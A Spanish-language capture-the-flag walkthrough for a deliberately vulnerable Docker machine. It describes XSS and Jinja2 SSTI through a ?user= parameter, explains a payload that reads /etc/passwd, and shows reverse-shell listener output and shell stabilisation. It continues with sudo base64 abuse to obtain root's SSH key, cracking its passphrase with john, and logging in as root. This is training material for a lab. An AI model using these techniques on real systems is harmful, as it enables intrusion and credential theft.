Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipverdejo.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shverdejo.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que si entramos a la pagina, veremos una pagina de apache2 normal y si realizamos un poco de fuzzing no veremos mucho mas, por lo que vamos a probar a meternos en el seiguiente puerto 8089 a ver que encontramos:
Vemos una pagina normal en la que vemos un campo para poder meter un texto, si metemos cualquier texto y le damos a ENTER, nos va aparecer un Hola mas el texto insertado, pero si nos fijamso en la URL vemos que tiene un parametro llamado ?user= junto con el texto nuestro, por lo que vamos a probar a realizar un XSS para ver si fuera vulnerable.
Como resultado vemos que funciona y se nos pone el Hola en color rojo y de tamaño grande.
Pero si probamos a realizar un SSTI veremos que tambien funciona:
Info:
1. ¿Qué es SSTI (Server-Side Template Injection)?
SSTI ocurre cuando una aplicación web permite al usuario inyectar código malicioso en una plantilla que se procesa en el servidor.
Los motores de plantillas como Jinja2 (en Python), Twig (en PHP) o Freemarker (en Java) procesan expresiones dinámicas en el lado del servidor.
Si los datos del usuario no son correctamente sanitizados, pueden inyectar código arbitrario en el servidor.
2. Análisis del Payload
get_flashed_messages
En Flask, get_flashed_messages es una función usada para obtener mensajes almacenados en el sistema de "flash messages". En este contexto, el payload utiliza su atributo __globals__.
__globals__
En Python, __globals__ es un atributo que referencia el espacio de nombres global de la función. Esto incluye variables, funciones y objetos globales del entorno donde fue definida.
__builtins__
Dentro del espacio de nombres global, __builtins__ da acceso a las funciones y clases nativas de Python, como open, exec, y eval.
Al acceder a __builtins__.open, obtienes acceso directo a la función open() de Python, que permite leer o escribir archivos.
open("/etc/passwd").read()
El archivo /etc/passwd contiene información sobre los usuarios del sistema en sistemas basados en Unix/Linux.
Este comando intenta abrir y leer el contenido de /etc/passwd.
3. ¿Cuándo funciona este payload?
Este payload funcionará si se cumplen las siguientes condiciones:
Vulnerabilidad SSTI:
La aplicación utiliza un motor de plantillas como Jinja2 y permite al usuario inyectar expresiones dinámicas.
Ejemplo: si un parámetro de usuario se pasa directamente a una plantilla sin ser sanitizado:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 41760
bash: cannot set terminal process group (94): Inappropriate ioctl for device
bash: no job control in this shell
verde@dbd3088f8897:~$ whoami
whoami
verde
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for verde on 8411222316c4:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User verde may run the following commands on 8411222316c4:
(root) NOPASSWD: /usr/bin/base64
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
honda1 (id_rsa)
1g 0:00:01:44 DONE (2025-01-27 12:39) 0.009601g/s 34.10p/s 34.10c/s 34.10C/s cougar..01234
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh -i id_rsa root@<IP>
Enter passphrase for key 'id_rsa':
Linux 8411222316c4 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 22 10:36:51 2024 from 172.17.0.1
root@8411222316c4:~# whoami
root